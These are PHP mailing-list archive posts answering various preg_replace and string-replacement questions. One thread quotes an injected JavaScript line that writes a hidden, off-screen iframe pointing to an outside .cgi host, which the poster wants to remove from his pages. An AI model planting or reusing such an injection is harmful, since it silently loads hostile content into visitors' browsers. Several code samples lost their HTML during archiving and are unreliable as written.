Re: [PHP] preg_replace question

[Simon J Welsh]

On 13/12/2012, at 10:08 AM, Curtis Maurand  wrote:
> On 12/12/2012 3:47 PM, Maciek Sokolewicz wrote:
>> On 12-12-2012 21:10, Curtis Maurand wrote:
>>> On 12/12/2012 12:00 PM, Maciek Sokolewicz wrote:
 On 12-12-2012 17:11, Curtis Maurand wrote:
 
 First of all, why do you want to use preg_replace when you're not
 actually using regular expressions??? Use str_replace or stri_replace
 instead.
 
 Aside from that, escapeshellarg() escapes strings for use in shell
 execution. Perl Regexps are not shell commands. It's like using
 mysqli_real_escape_string() to escape arguments for URLs. That doesn't
 compute, just like your way doesn't either.
 
 If you DO wish to escape arguments for a regular expression, use
 preg_quote instead, that's what it's there for. But first, reconsider
 using preg_replace, since I honestly don't think you need it at all if
 the way you've posted
 (preg_replace(escapeshellarg($string),$replacement)) is the way you
 want to use it.
>>> Thanks for your response.  I'm open to to using str_replace.  no issue
>>> there.  my main question was how to properly get a string of javascript
>>> into a string that could then be processed.  I'm not sure I can just put
>>> that in quotes and have it work.There are colons, "<",">",
>>> semicolons, and doublequotes.  Do I just need to rifle through the
>>> string and escape the reserved characters or is there a function for that?
>>> 
>>> --C
>> 
>> Why do you want to escape them? There are no reserved characters in the case 
>> of str_replace. You don't have to put anything in quotes. For example:
>> 
>> $string = 'This is a > characters'
>> echo str_replace('supposedly', 'imaginary', $string)
>> would return:
>> This is a > 
>> So... why do you want to "escape" these characters?
>> 
> So what about things like quotes within the string or semi-colons, colons and 
> slashes?  Don't these need to be escaped when you're loading a string into a 
> variable?
> 
> ;document.write(' style="width:100px;height:100px;position:absolute;left:-100px;top:0;" 
> src="http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>');
> 
> I need to enclose this entire string and replace it with ""
> 
> Thanks


The only thing you have to worry about is quotes characters. Assuming you're 
running 5.3+, just use now docs 
(http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc).

$String = <<<'STRING'
;document.write('http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>');
STRING;
---
Simon Welsh
Admin of http://simon.geek.nz/



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Re: [PHP] preg_replace question

[Alex Nikitin]

$internal_links=array();

I prefer to init arrays, it also avoids unnecessary notices, and sometimes
weird results, but either one of those while loops should make the desired
array

while($row = mysql_fetch_array($result, MYSQL_ASSOC))
 { array_push($internal_links, array('phrase'=>$row['phrase'],
'link'=>$row['link'])); }
or

while($row = mysql_fetch_array($result, MYSQL_ASSOC))  { $internal_links[] =
array('phrase'=>$row['phrase'], 'link'=>$row['link']); }

or

while($row = mysql_fetch_object($result))  { $internal_links[] =
array('phrase'=>$row->phrase,
'link'=>$row->link); }

(you can figure out how to do it with array_push if you choose to, but you
get the general idea)


~ Alex

On Jan 25, 2011 6:35 AM, "Merlin Morgenstern"  wrote:
> Am 24.01.2011 18:08, schrieb Alex Nikitin:
>> If you declare your arrays, and set k to 0 first, put quotes around array
>> values and use the correct limit (you can default to -1), you will get
>> results, here is code and example (hopefully this helps you)
>>
>>
>> > function internal_links($str, $links, $limit=-1) {
>> $pattern=array();
>> $replace=array();
>> $k=0;
>> foreach($links AS $link){
>> $pattern[$k] = "~\b({$link['phrase']})\b~i";
>> $replace[$k] = '\\1';
>> $k++;
>> }
>> return preg_replace($pattern,$replace,$str, $limit);
>> }
>>
>> echo internal_links("süße knuffige Beagle Welpen ab sofort",
>> array(array('phrase'=>"beagle",
>> 'link'=>"http://google.com";),array('phrase'=>"welpen",
>> 'link'=>"http://wolframalpha.com";)), -1);
>>
>> Output:
>> süße knuffigehttp://google.com";>Beagle http://wolframalpha.com";>Welpen ab
>>
>> ~Alex
>>
>
> Hello,
>
> thank you all for your help. It seems that I am building the array
> wrong. Your code works with that array:
>
> $internal_links = array(array('phrase'=>"beagle",
> 'link'=>"http://google.com";),array('phrase'=>"welpen",
> 'link'=>"http://wolframalpha.com";));
>
> I am pulling the data out of a DB and am using this code:
> while ($row = mysql_fetch_object($result)){
> $internal_links[$row->ID]['phrase'] = $row->phrase;
> $internal_links[$row->ID]['link'] = $row->link;
> }
>
> You build the array different, could you help me to adapt this on my
> code? I tried $internal_links['phrase'][] as well, but that did not help
> either.
>
> Thank you for any help,
>
> Merlin
>
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>

Re: [PHP] preg_replace question

[Richard Quadling]

On 25 January 2011 12:04, Merlin Morgenstern  wrote:
> Am 25.01.2011 12:31, schrieb Merlin Morgenstern:
>>
>> Am 24.01.2011 18:08, schrieb Alex Nikitin:
>>>
>>> If you declare your arrays, and set k to 0 first, put quotes around array
>>> values and use the correct limit (you can default to -1), you will get
>>> results, here is code and example (hopefully this helps you)
>>>
>>>
>>> >> function internal_links($str, $links, $limit=-1) {
>>> $pattern=array();
>>> $replace=array();
>>> $k=0;
>>> foreach($links AS $link){
>>> $pattern[$k] = "~\b({$link['phrase']})\b~i";
>>> $replace[$k] = '\\1';
>>> $k++;
>>> }
>>> return preg_replace($pattern,$replace,$str, $limit);
>>> }
>>>
>>> echo internal_links("süße knuffige Beagle Welpen ab sofort",
>>> array(array('phrase'=>"beagle",
>>> 'link'=>"http://google.com";),array('phrase'=>"welpen",
>>> 'link'=>"http://wolframalpha.com";)), -1);
>>>
>>> Output:
>>> süße knuffigehttp://google.com";>Beagle http://wolframalpha.com";>Welpen ab
>>>
>>> ~Alex
>>>
>>
>> Hello,
>>
>> thank you all for your help. It seems that I am building the array
>> wrong. Your code works with that array:
>>
>> $internal_links = array(array('phrase'=>"beagle",
>> 'link'=>"http://google.com";),array('phrase'=>"welpen",
>> 'link'=>"http://wolframalpha.com";));
>>
>> I am pulling the data out of a DB and am using this code:
>> while ($row = mysql_fetch_object($result)){
>> $internal_links[$row->ID]['phrase'] = $row->phrase;
>> $internal_links[$row->ID]['link'] = $row->link;
>> }
>>
>> You build the array different, could you help me to adapt this on my
>> code? I tried $internal_links['phrase'][] as well, but that did not help
>> either.
>>
>> Thank you for any help,
>>
>> Merlin
>
>
> HI Again :-)
>
> the building of my array seems fine. Here is what goes wrong:
>
> If you use this array:  $internal_links = array(array('phrase'=>"Beagle
> Welpen", 'link'=>"http://wolframalpha.com";), array('phrase'=>"Welpen",
> 'link'=>"http://google.com";));
>
> Then it will fail as well. This is because the function will replace "Beagle
> Welpen" with the hyperlink and after that replace the word "welpen" inside
> the hyperlink again with a hyperlink.
>
> Is there a function which will not start looking for the words at the
> beginnning of the text for each replacement, but simply continue where it
> did the last replacement?
>
> Thank you for any help,
>
> Merlin
>
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>
>

The solution I've used in the past for this sort of issue (recursive
replacements when not wanted) is to replace each known part with a
unique placeholder.

Once the initial data has been analysed and the placeholders are in
place, then replace the placeholders with the correct value.

So, rather than ...

$internal_links = array
(
array('phrase'=>"Beagle Welpen", 'link'=>"http://wolframalpha.com";),
array('phrase'=>"Welpen", 'link'=>"http://google.com";)
);

Use ...

$internal_links = array
(
array('phrase'=>'Beagle Welpen', 'link'=>'_RAQ_TAG_1_'),
array('phrase'=>'Welpen','link'=>'_RAQ_TAG_2_'),
array('phrase'=>'_RAQ_TAG_1_''link'=>'http://wolframalpha.com'),
array('phrase'=>'_RAQ_TAG_2_''link'=>'http://google.com'),
);

By keeping them in the above order, each phrase will be replaced in
the same way.

Obviously, if your text includes _RAQ_TAG_1_ or _RAQ_TAG_2_ then you
will have to use more appropriate tags.

Richard.

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Re: [PHP] preg_replace question

[Merlin Morgenstern]

Am 25.01.2011 12:31, schrieb Merlin Morgenstern:

Am 24.01.2011 18:08, schrieb Alex Nikitin:

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


\\1';
$k++;
}
return preg_replace($pattern,$replace,$str, $limit);
}

echo internal_links("süße knuffige Beagle Welpen ab sofort",
array(array('phrase'=>"beagle",
'link'=>"http://google.com";),array('phrase'=>"welpen",
'link'=>"http://wolframalpha.com";)), -1);

Output:
süße knuffigehttp://google.com";>Beagle http://wolframalpha.com";>Welpen ab

~Alex



Hello,

thank you all for your help. It seems that I am building the array
wrong. Your code works with that array:

$internal_links = array(array('phrase'=>"beagle",
'link'=>"http://google.com";),array('phrase'=>"welpen",
'link'=>"http://wolframalpha.com";));

I am pulling the data out of a DB and am using this code:
while ($row = mysql_fetch_object($result)){
$internal_links[$row->ID]['phrase'] = $row->phrase;
$internal_links[$row->ID]['link'] = $row->link;
}

You build the array different, could you help me to adapt this on my
code? I tried $internal_links['phrase'][] as well, but that did not help
either.

Thank you for any help,

Merlin



HI Again :-)

the building of my array seems fine. Here is what goes wrong:

If you use this array: 	$internal_links = array(array('phrase'=>"Beagle 
Welpen", 'link'=>"http://wolframalpha.com";), array('phrase'=>"Welpen", 
'link'=>"http://google.com";));


Then it will fail as well. This is because the function will replace 
"Beagle Welpen" with the hyperlink and after that replace the word 
"welpen" inside the hyperlink again with a hyperlink.


Is there a function which will not start looking for the words at the 
beginnning of the text for each replacement, but simply continue where 
it did the last replacement?


Thank you for any help,

Merlin

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Re: [PHP] preg_replace question

[Merlin Morgenstern]

Am 24.01.2011 18:08, schrieb Alex Nikitin:

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


\\1';
$k++;
}
return preg_replace($pattern,$replace,$str, $limit);
}

echo internal_links("süße knuffige Beagle Welpen ab sofort",
array(array('phrase'=>"beagle",
'link'=>"http://google.com";),array('phrase'=>"welpen",
'link'=>"http://wolframalpha.com";)), -1);

Output:
süße knuffigehttp://google.com";>Beagle  http://wolframalpha.com";>Welpen  ab

~Alex



Hello,

thank you all for your help. It seems that I am building the array 
wrong. Your code works with that array:


$internal_links = array(array('phrase'=>"beagle", 
'link'=>"http://google.com";),array('phrase'=>"welpen", 
'link'=>"http://wolframalpha.com";));


I am pulling the data out of a DB and am using this code:
while ($row = mysql_fetch_object($result)){ 
$internal_links[$row->ID]['phrase'] = $row->phrase;
$internal_links[$row->ID]['link'] = $row->link;
}   

You build the array different, could you help me to adapt this on my 
code? I tried $internal_links['phrase'][] as well, but that did not help 
either.


Thank you for any help,

Merlin

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Re: [PHP] preg_replace question

[Jim Lucas]

On 1/24/2011 8:00 AM, Merlin Morgenstern wrote:
> Hi there,
> 
> I am trying to replace certain words inside a text with php. Unfortunatelly my
> function is creating invalid html as output.
> 
> For example the words "beagle" and "welpen" have to be replaced inside this
> text: "süße knuffige Beagle Welpen ab sofort"
> 
> My result looks like this:
> zwei süße knuffige Beagle  href="/bsp/hunde">Welpen
> 
> The problem is, that my function is not closing the href tag before it starts 
> to
> replace the next item.
> 
> Here is the code:
> 
> 
> // create internal links
> function internal_links($str, $links, $limit) {
> foreach($links AS $link){
> $pattern[$k] = "~\b($link[phrase])\b~i";
> $replace[$k] = '\\1';
> $k++;
> }
> return preg_replace($pattern,$replace,$str, $limit);
> }
> 
> I
> 
> 
> I could not find a way to fix this and I would be happy for some help. Thank 
> you
> in advance!
> 
> Merlin
> 

Do you have control over the building of the initial "phrase" => "link" assoc?

If so, reverse the order of these two items.

Jim Lucas

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Re: [PHP] preg_replace question

[Alex Nikitin]

If you declare your arrays, and set k to 0 first, put quotes around array
values and use the correct limit (you can default to -1), you will get
results, here is code and example (hopefully this helps you)


\\1';
   $k++;
   }
   return preg_replace($pattern,$replace,$str, $limit);
   }

echo internal_links("süße knuffige Beagle Welpen ab sofort",
array(array('phrase'=>"beagle",
'link'=>"http://google.com";),array('phrase'=>"welpen",
'link'=>"http://wolframalpha.com";)), -1);

Output:
süße knuffige http://google.com";>Beagle http://wolframalpha.com";>Welpen ab

~Alex

Re: [PHP] preg_replace question

[David Harkness]

Without seeing the code that creates the arrays, it's tough to see the
problem. It looks like the first replacement is catching "Beagle Welpen"
entirely since the closing  tag gets placed after "Welpen". Then the
second replacement does just "Welpen".

Also, you should have quotes around "link" when building the $replace[]
entry since the array access is outside quotes. Finally, you don't need $k
here at all.

   // create internal links
   function internal_links($str, $links, $limit) {
   foreach($links AS $link){
   $pattern[] = "~\b($link[phrase])\b~i";
   $replace[] = '\\1';
   }
   return preg_replace($pattern,$replace,$str, $limit);
   }

David

Re: [PHP] preg_replace() question

[Robert Cummings]

On Wed, 2009-03-18 at 22:55 +0800, Virgilio Quilario wrote:
> > 1. What is the overhead on preg_replace?
> 
> it really depends on your operation. when you think it can be done
> using str* functions then go for it as they are much faster than preg*
> functions.
> 
> > 2. Is there a better way to strip spaces and non alpha numerical
> > characters from text strings? I suspect not... maybe the Shadow does ???
> 
> if those characters are in the middle, preg_replace is the right function.

Unless you know how many, it's probably the right function even if
they're at the front or end. preg_replace() is almost certainly faster
(in this particular case) than making two function calls.

Cheers,
Rob.
-- 
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Application and Templating Framework for PHP


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Re: [PHP] preg_replace() question

[Virgilio Quilario]

> 1. What is the overhead on preg_replace?

it really depends on your operation. when you think it can be done
using str* functions then go for it as they are much faster than preg*
functions.

> 2. Is there a better way to strip spaces and non alpha numerical
> characters from text strings? I suspect not... maybe the Shadow does ???

if those characters are in the middle, preg_replace is the right function.


virgil
http://www.jampmark.com

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Re: [PHP] preg_replace() question

[Richard Heyes]

> 1. What is the overhead on preg_replace?

Minimal. If you're looking for all the speed you can get, you'd
probably be better off with an str* function though if you can find
one. You'd have to be seriously after speed gains though.

> 2. Is there a better way to strip spaces and non alpha numerical
> characters from text strings? I suspect not...

Have a look through the string functions. the ctype_* functions too.
See if one fits your needs.

-- 
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HTML5 Canvas graphing for Firefox, Chrome, Opera and Safari:
http://www.rgraph.net (Updated March 14th)

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Re: [PHP] preg_replace() question

[Chris]

PJ wrote:

1. What is the overhead on preg_replace?


Compared to what? If you write a 3 line regex, it's going to take some 
processing.



2. Is there a better way to strip spaces and non alpha numerical
characters from text strings? I suspect not... maybe the Shadow does ???


For this, preg_replace is probably the right option.

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Re: [PHP] preg_replace Question

[Per Jessen]

Richard Luckhurst wrote:

> e.g $amount = $524.00 however only 4.00 is displayed in the %Amount
> field on the html page. I tried dropping the .00 from $amount to see
> if this might be a length issue and then %Amount was just 4
> Am I doing something obviously wrong here? I have checked the php
> manual and I appear to be using preg_replace correctly.

>From the manual: 

"replacement  may contain references of the form \\n or (since PHP
4.0.4) $n, with the latter form being the preferred one"

If you use $amount ='\$524.00' instead of '$524.00', it'll work. 


/Per Jessen, Zürich


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Re: [PHP] preg_replace question

[Burhan Khalid]

Zoran Lorkovic wrote:
Btw, where I can find patterns that are valid?
(something like (\w+), (\d+)+i etc.
http://www.php.net/manual/en/reference.pcre.pattern.syntax.php
http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php
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Re: [PHP] preg_replace question

[John Holmes]

Zoran Lorkovic wrote:
Sorry for issuing this again, but I need help with preg_replace. I manage to replace certain text between 
 in text with preg_replace but I want for every other  to be replaced by 
other text.
By this I mean when some text between  has been found that text is replaced with some Text, 
on second match, text between  is replaced by some other different text etc.
Btw, where I can find patterns that are valid?
(something like (\w+), (\d+)+i etc.
Use preg_replace_callback() with a static variable within the callback 
function. Increment the variable each time the function is called and 
then based upon whether it's odd or even, substitute the appropriate 
string.

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Re: [PHP] preg_replace question

[Armand Turpel]

Finaly I got the solution.

Replace all line breaks by  but not after a html headline
(..)

$text = preg_replace("/(?)\r\n/","\\1",$text);



- Original Message - 
From: "Armand Turpel" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Saturday, September 20, 2003 7:34 PM
Subject: Re: [PHP] preg_replace question


> Hi Jim ,
> The problem with your proposition is that the preg_replace do not replace
> \r\n  to  
> thats good,
> but also not this:
> testh4>\r\n
>
> and thats not what I expect from.
>
>
> atur
>
>
>
>
>
>
> - Original Message - 
> From: "Jim Lucas" <[EMAIL PROTECTED]>
> To: "Armand Turpel" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
> Sent: Saturday, September 20, 2003 5:37 PM
> Subject: Re: [PHP] preg_replace question
>
>
> > $arr = array("/([^\<][^\/][^h][^1-6].{1}[^\>])\r\n/",
> >  "/([^\<][^\/][^h][^1-6].{1}[^\>])\r/",
> >  "/([^\<][^\/][^h][^1-6].{1}[^\>])\n/",
> >  );
> >
> > $text = preg_replace($arr,"\\1",$text);
> >
> > you might try this and see how well it works.
> >
> > Jim Lucas
> >
> >
> > - Original Message - 
> > From: "Armand Turpel" <[EMAIL PROTECTED]>
> > To: <[EMAIL PROTECTED]>
> > Sent: Saturday, September 20, 2003 8:21 AM
> > Subject: [PHP] preg_replace question
> >
> >
> > > I need the following replace function:
> > > Replace all line breaks to  but not if a line break comes after an
> > 
> > > or  or   
> > >
> > >
> > > Currently I use this preg_replace but it's not good enough for all
> > > situations.
> > >
> > > $text = preg_replace("/([^\<][^\/][^h][^1-9].{1})\r\n/","\\1 > />",$text);
> > >
> > >
> > > 
> > >
> > > Thanks
> > >
> > > -- 
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, visit: http://www.php.net/unsub.php
> > >
> > >
> >
> >
> >
> >
>
> -- 
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>
>
>
>

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Re: [PHP] preg_replace question

[Armand Turpel]

Hi Jim ,
The problem with your proposition is that the preg_replace do not replace
\r\n  to   
thats good,
but also not this:
testh4>\r\n

and thats not what I expect from.


atur






- Original Message - 
From: "Jim Lucas" <[EMAIL PROTECTED]>
To: "Armand Turpel" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Saturday, September 20, 2003 5:37 PM
Subject: Re: [PHP] preg_replace question


> $arr = array("/([^\<][^\/][^h][^1-6].{1}[^\>])\r\n/",
>  "/([^\<][^\/][^h][^1-6].{1}[^\>])\r/",
>  "/([^\<][^\/][^h][^1-6].{1}[^\>])\n/",
>  );
> 
> $text = preg_replace($arr,"\\1",$text);
> 
> you might try this and see how well it works.
> 
> Jim Lucas
> 
> 
> - Original Message - 
> From: "Armand Turpel" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Saturday, September 20, 2003 8:21 AM
> Subject: [PHP] preg_replace question
> 
> 
> > I need the following replace function:
> > Replace all line breaks to  but not if a line break comes after an
> 
> > or  or   
> >
> >
> > Currently I use this preg_replace but it's not good enough for all
> > situations.
> >
> > $text = preg_replace("/([^\<][^\/][^h][^1-9].{1})\r\n/","\\1 />",$text);
> >
> >
> > 
> >
> > Thanks
> >
> > -- 
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Re: [PHP] preg_replace question

[Jim Lucas]

$arr = array("/([^\<][^\/][^h][^1-6].{1}[^\>])\r\n/",
 "/([^\<][^\/][^h][^1-6].{1}[^\>])\r/",
 "/([^\<][^\/][^h][^1-6].{1}[^\>])\n/",
 );

$text = preg_replace($arr,"\\1",$text);

you might try this and see how well it works.

Jim Lucas


- Original Message - 
From: "Armand Turpel" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Saturday, September 20, 2003 8:21 AM
Subject: [PHP] preg_replace question


> I need the following replace function:
> Replace all line breaks to  but not if a line break comes after an

> or  or   
>
>
> Currently I use this preg_replace but it's not good enough for all
> situations.
>
> $text = preg_replace("/([^\<][^\/][^h][^1-9].{1})\r\n/","\\1",$text);
>
>
> 
>
> Thanks
>
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Re: [PHP] preg_replace question

[Jean-Christian IMbeault]

[EMAIL PROTECTED] wrote:
> Then use a simple strstr to first find out if the string does contain 
> mydomain.com :-)

My example was a simple one. I can't just check to see if the string
contains the mydomain.com first because I am not passing a string to
preg_replace but a whole text file.

I want preg_replace to replace all occurrences in the text file of the
regexp:

 "#http://www.mydomain.com.

How can I get preg_replace to ignore instances of
http://www.mydomain.com when it is doing it's global search and replace?

Thanks,

Jean-Christian Imbeault


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Re: [PHP] preg_replace question

[[EMAIL PROTECTED]]

Then use a simple strstr to first find out if the string does contain 
mydomain.com :-)

Jean-Christian IMbeault wrote:

I found this nice preg_replace function that replaces all occurrences 
of an HTML anchor (

preg_replace(
  "#
I'd like to modify this expression so that it does the same thing but 
*only* if the link is not to a specific page. I.e. I would like to 
replace all links *unless* the link was to, for example, 
www.mydomain.com.

How can I achieve this with a regexp? I'm not very good at 'negative' 
regexp ...

Thanks,

Jean-Christian Imbeault




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RE: [PHP] preg_replace question,

[John W. Holmes]

> the current function been put in place replaces [f1253f] with a file,
for
> inside cms content , where 1253 is the key or the id of the filename
in
> the
> database , therefore to denote its an ftool they added f's around the
keys
> ,
> so maybe i could get away with [1253], what else i'm asking if
> preg_replace is
> more efficient over eregi_replace ?

Yeah, it is.

preg_match_all("/\[f([0-9]+)f\]/i",$string,$matches);

$matches will then contain the numbers you're looking for (in an array).
Read the file or whatever you need, then do another replace to put the
file contents in place of the code. 

If you read it like this:

$file['1234'] = "data from file 1234";
$file['3456'] = "data from file 3456";

You can use the following to replace the tags

preg_replace("/\[f([0-9]+)\]/ie",'$file[$1]',$string);

the last one is untested, but something like that works. The key is the
'e' modifier. If you know you're always going to have lower case 'f'
characters, then remove the 'i' modifier from each pattern.

---John Holmes...



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RE: [PHP] preg_replace question,

[daniel]

the current function been put in place replaces [f1253f] with a file, for 
inside cms content , where 1253 is the key or the id of the filename in the 
database , therefore to denote its an ftool they added f's around the keys , 
so maybe i could get away with [1253], what else i'm asking if preg_replace is 
more efficient over eregi_replace ?

>= Original Message From <[EMAIL PROTECTED]> =
>> yes another one sorry, i'm trying to find the most efficient way to do
>a
>> replactment over this
>> eregi_replace("\[f$key\f\]","$value",format_content($content));, would
>> preg_replace be quicker and how could i go about it ?
>>
>> i'd need to replace [f1247f] with its replacement value better still
>maybe
>> even [1313431] is needed ? i dont know why they has f's in there ?
>
>What exactly are you trying to match and replace? Anything between [ and
>]? Is 'f' the only letter that might appear? Is there a limit on the
>amount of numbers that'll be between [ and ]? Are you replacing all
>matches with the same $value?
>
>---John W. Holmes...
>
>PHP Architect - A monthly magazine for PHP Professionals. Get your copy
>today. http://www.phparch.com/
>
>
>
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RE: [PHP] preg_replace question,

[John W. Holmes]

> yes another one sorry, i'm trying to find the most efficient way to do
a
> replactment over this
> eregi_replace("\[f$key\f\]","$value",format_content($content));, would
> preg_replace be quicker and how could i go about it ?
> 
> i'd need to replace [f1247f] with its replacement value better still
maybe
> even [1313431] is needed ? i dont know why they has f's in there ?

What exactly are you trying to match and replace? Anything between [ and
]? Is 'f' the only letter that might appear? Is there a limit on the
amount of numbers that'll be between [ and ]? Are you replacing all
matches with the same $value?

---John W. Holmes...

PHP Architect - A monthly magazine for PHP Professionals. Get your copy
today. http://www.phparch.com/



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Re: [PHP] preg_replace question

[Jason Wong]

On Monday 23 December 2002 18:34, electroteque wrote:
> yet another regex question how could i hange the value within the quotes
> with preg_replace
>
> php_value upload_max_filesize "5M"

If "php_value upload_max_filesize " is fixed then there is no need to use 
preg_replace. Just use a simple substr_replace() or similar.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *

/*
She ran the gamut of emotions from 'A' to 'B'.
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Re: [PHP] Preg_replace question

[Justin French]

I've been down the road of attempting to do this with regular expressions...
i'm no expert, but i work with people who are, and it was a nightmare

given that the following are common/valid

href=something.php
href = 'something.php'
href='something.php'
href = "something.php"
href="something.php"

AND you'll have potentially MANY tags with MANY allowed attributes, it turns
into quite a complex regexp really quickly...

i decided that I should probably do it all with a parser, or even a
char-by-char analysis/state engine, but never got much further...


Justin French




on 22/11/02 1:38 AM, David Russell ([EMAIL PROTECTED]) wrote:

> Hi all,
> 
> Following on from a previous discussion, I am trying to write a "safe"
> strip_tags function.
> 
> I start by applying htmlentities to the entire string, and then convert
> "allowed" tags back.
> 
> One of the steps I am looking at doing is to replace something " href="blah" onmouseover="blah">" with ""
> 
> What would be a good preg_replace string for this?
> 
> Preg_replace('/( Except I need to keep the href="" as well as the closing >,
> but drop everything else.
> 
> I will be googling on this too, but a reply from this group is always
> quicker 
> 
> Thanks
> 
> David Russell
> IT Support Manager
> Barloworld Optimus (Pty) Ltd
> Tel: +2711 444-7250
> Fax: +2711 444-7256
> e-mail: [EMAIL PROTECTED]
> web: www.BarloworldOptimus.com
> 

Justin French

http://Indent.com.au
Web Developent & 
Graphic Design



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Re: [PHP] Preg_replace question

[Ernest E Vogelsinger]

At 15:38 21.11.2002, David Russell spoke out and said:
[snip]
>One of the steps I am looking at doing is to replace something "href="blah" onmouseover="blah">" with ""
[snip] 

I found it way easier not to look for encoded values but for the characters
themselves, as it is a lot easier with regexes to scan for characters (or,
better, to scanb for everything EXCEPT a certain character).

So I once took this approach:

Step 1 - extract all "allowed" tags
Step 2 - htmlentitize the string
Step 3 - put the pieces together again

You need to consider that there may be multiple possibilities to write a
link tag (other tags too):

< a title = "bar" href = "foo" any="other">
etc etc.

So you must be looking for the "href" portion, enclosed by (encoded) angle
brackets:
$re = '/(.*?)(<\s*a\s*[^>]+?href.*?>)(.*)/i';
This reads as
(   build a group
.*? with anything until the very next '<' (below)
)   end group
(   build a group 
<   beginning with '<'
\s*a\s+ followed by optional blanks and an 'a' followed by at least one
blank
[^>]*?  followed by anything EXCEPT '>' until the very next
href"href"
.*? followed by anything until the very next
>   '>'
)   end group
The 'i' modifier makes that expression case insenitive.

Next we parse the whole buffer for the href:

$result = null;
while ($buffer && $preg_match($re, $buffer, $aresult)) {
// $aresult is:
// [0] - whole buffer
// [1] - pre-match
// [2] - matched group
// [3] - post match
$result .= htmlentities($aresult[1]) . $aresult[2];
$buffer = $aresult[3];
}
$result .= $buffer;

This loops through the data buffer, applying htmlentities() to all parts
except any link tag.

Of course this example only works for the  tag. If you have
multiple tags (and you _do_ have them since you also need to check for the
 tag), find ANY tag and check if they are valid:
$re = '/(.*?)(<\s*)(\/?)([^>]*?)(\s*>)(.*)/';
preg_match will create the following result array:
[0] - whole buffer
[1] - prematch
[2] - tag opener incl. opt. blanks
[3] - optional '/' for the closing tag
[4] - tag contents
[5] - tag closer incl. opt. blanks
[6] - postmatch
You can then, within your loop, analyze the tag contents (entry [4]) and
decide how to proceed.


-- 
   >O Ernest E. Vogelsinger 
   (\) ICQ #13394035 
^ http://www.vogelsinger.at/

Re: [PHP] Preg_replace question

[1LT John W. Holmes]

> Following on from a previous discussion, I am trying to write a "safe"
> strip_tags function.
>
> I start by applying htmlentities to the entire string, and then convert
> "allowed" tags back.
>
> One of the steps I am looking at doing is to replace something " href="blah" onmouseover="blah">" with ""
>
> What would be a good preg_replace string for this?
>
> Preg_replace('/( Except I need to keep the href="" as well as the closing >,
> but drop everything else.
>
> I will be googling on this too, but a reply from this group is always
> quicker 

How about

$new_string = preg_replace('//U','< a
href="$1">',$old_string);

Adapt to your needs...

---John Holmes...


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Re: [PHP] Preg_replace question

[Marek Kilimajer]

Try xml parsing functions,  start with an empty string and build it up 
in your handlers. In start
element handler check if the tag is allowed, if yes, append it to the 
string together with allowed
attributes, and add it to a count (so users won't be able to mess up 
your design), else append it
using htmlspecialchars. In the end element handler, check if the count 
for this element is > 0,
if yes, append it and subtract the count, else append it using 
htmlspecialchars. And in the data
handler you just need the obvious: append it using htmlspecialchars. 
After all you need to check
the count for each element and if it is > 0, append that many end elements.

This is just an idea, and I'm curious myself, if that would work, so 
write share with us your results

David Russell wrote:

Hi all,

Following on from a previous discussion, I am trying to write a "safe"
strip_tags function.

I start by applying htmlentities to the entire string, and then convert
"allowed" tags back.

One of the steps I am looking at doing is to replace something "" with ""

What would be a good preg_replace string for this?

Preg_replace('/(,
but drop everything else.

I will be googling on this too, but a reply from this group is always
quicker 

Thanks

David Russell
IT Support Manager
Barloworld Optimus (Pty) Ltd
Tel: +2711 444-7250 
Fax: +2711 444-7256
e-mail: [EMAIL PROTECTED]
web: www.BarloworldOptimus.com
 



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Re: [PHP] preg_replace question

[1LT John W. Holmes]

> thats the thing the urls should be able to parse http:// or www or both
and
> i have to unfortunatly clean up a forced port and directory in the url
> aswell for gethostname to work

Well, your original question should of said that and we wouldn't be wasting
time.

preg_match("%\.([^.]+\.[a-z]+)%",$host,$match)

$match[1] would have your name.

---John Holmes...



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RE: [PHP] preg_replace question

[Chris Shiflett]

--- Dan Rossi <[EMAIL PROTECTED]> wrote:
> some urls will have http://www. some will only have www. some will
> have :1023 for forced ports and they all will have /directory
> afterwards i just need domain.com for example :|

Out of curiosity, did you not read the replies to your initial
question? I recall saying this:

> Just use parse_url() instead:
>
> http://www.php.net/manual/en/function.parse-url.php

I recall seeing John Holmes say this:

> Or just str_replace(). No need for regular expressions.
> 
> http://www.php.net/manual/en/function.str-replace.php

Chris

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RE: [PHP] preg_replace question

[Dan Rossi]

getting really annoying one url will work where another one wont

//$formatted_url = preg_replace("/\b((http(s?):\/\/)|(www\.))\b/i", "",
$url);
//$formatted_url =
preg_replace("/\b((http(s?):\/\/)|(www\.))([\w\.]+)([\/\w+\.]+)\b/i", "$5",
$url);
$formatted_url = eregi_replace("^(.{2,6}://)?([^:]*)?([^/]*)?(.*)", 
"\\2",
$url);

tried all these dont work

some urls will have http://www. some will only have www. some will have
:1023 for forced ports and they all will have /directory afterwards i just
need domain.com for example :|

-Original Message-
From: 1LT John W. Holmes [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 21, 2002 7:48 AM
To: [EMAIL PROTECTED]; electroteque; [EMAIL PROTECTED]
Subject: Re: [PHP] preg_replace question


> --- electroteque <[EMAIL PROTECTED]> wrote:
> > how could i remove http://www. ot of a url string using
> preg_replace?
>
> No need to reinvent the wheel for this. Just use parse_url() instead:
>
> http://www.php.net/manual/en/function.parse-url.php
>

Or just str_replace(). No need for regular expressions.

http://www.php.net/manual/en/function.str-replace.php

---John Holmes...


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RE: [PHP] preg_replace question

[Dan Rossi]

this is fine but it didnt parse in just www.domain.com

-Original Message-
From: Chris Shiflett [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 21, 2002 7:41 AM
To: electroteque; [EMAIL PROTECTED]
